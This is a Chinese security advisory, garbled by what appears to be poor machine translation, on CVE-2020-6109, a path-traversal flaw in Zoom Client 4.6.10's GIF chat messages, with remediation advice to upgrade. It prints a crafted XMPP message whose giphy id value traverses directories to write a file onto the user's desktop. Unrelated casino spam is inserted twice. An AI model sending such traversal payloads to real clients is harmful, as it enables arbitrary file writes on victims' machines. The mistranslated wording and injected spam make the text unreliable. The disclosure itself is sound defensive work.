CVE-2020-6109 | ZOOM客户端路径遍历误差通告

宣布时间 2020-06-05

0x00 误差概述



CVE   ID

CVE-2020-6109

时    间

2020-06-04

类    型

DT

等    级

高危

远程使用

是

影响规模

Zoom Client 4.6.10


0x01 误差详情


尊龙凯时·(中国区)人生就是搏!



Zoom Client是美国Zoom公司的一款支持多种平台的视频聚会客户端应用程序 。


CVE-2020-6109在Zoom Client版本4.6.10中保存可使用的路径遍历误差 ,该误差在处置惩罚包括动画GIF的新闻时 。特制的谈天新闻可能导致恣意文件写入 ,可能会进一步滥用该文件以实现恣意代码执行 。攻击者需要向目的用户或组发送特制新闻才华触发此误差 。


Zoom的谈天功效建设在XMPP标准的基础上 ,并具有支持其他扩展功效 。这些扩展之一支持在谈天中包括动画GIF新闻的功效 。提供此功效并依赖Giphy服务 。当客户端收到带有此giphy扩展名的XMPP新闻时 ,将指示其会见指定的HTTP URL并获取GIF文件发送给用户 。此类XMPP新闻的示例如下:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

       <giphy id='filename' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


上面的XML代码中有两个值需要关注 。首先 ,该giphy标签包括三个目的URL ,这些URL应该指向Giphy的服务器 。简短的测试批注 ,没有执行目的URL的验证 ,并且客户端将遵照指定的URL ,包括恣意服务器 。指定自界说URL时 ,可以视察到来自客户端的HTTP毗连:


GET /test.gif HTTP/1.1

Host: example.com

User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)

Accept: */*

Cookie: srid=SaaSbeeTestMode00123578;

ZM-CAP: 2535978022733895607,164

ZM-PROP: Mac.Zoom

ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000


应该指出的是 ,只管以上请求中没有验证cookie ,但仍有足够的信息泄露唯一标识的客户端 。标头ZM-NSGN包括经由哈希处置惩罚和编码的唯一客户端装备ID 。


测试发明纵然giphy扩展名仅显示GIF图像 ,它也将轻松显示和预览其他图像类型 。这包括PNG和JPEG文件名堂 。


此新闻XML代码中的第二件有趣的事是 ,标记的id属性giphy直接与客户端缓保存磁盘上的图像文件名相关联 �;痪浠八� ,客户端应用程序将使用此指定的ID将文件生涯到磁盘以供未来显示 �?梢蕴峁╉б馕募� ,并且文件将存储在dataZoom装置目录下目录中的可展望位置 。


真正的误差在于这样的情形 ,即文件名没有以任何方法删除 ,并允许目录遍历 。这意味着标记的特制id属性giphy可以包括一个特殊文件路径 ,该路径将在Zoom的装置目录之外并且现实上在目今用户可写的任何目录中写入文件 。以下修改的message说明晰这种可能性:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

   <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


Zoom客户端会将字符串附加_BigPic.gif到指定的文件名这一事实可以部分缓解此误差 。这样可以避免攻击者建设具有恣意扩展名的可完全控制的文件 。若是攻击者选择了.gif扩展名 ,以上内容仍将使用文件名将恣意内容的文件安排到目今用户的桌面上 。文件的内容不但限于图像 ,还可能包括可执行代码或剧本 ,这些代码或剧本可能被滥用以资助使用另一个误差 。

别的可能会在Windows系统上建设空文件的恣意扩展名 。


0x02 处置惩罚建议


现在厂商已宣布4.6.12版本以修复误差 ,下载地点:

https://zoom.us/


0x03 相关新闻


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 参考链接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055


0x05 时间线


2020-04-16 研究职员披露

2020-06-04 VSRC宣布误差通告


尊龙凯时·(中国区)人生就是搏!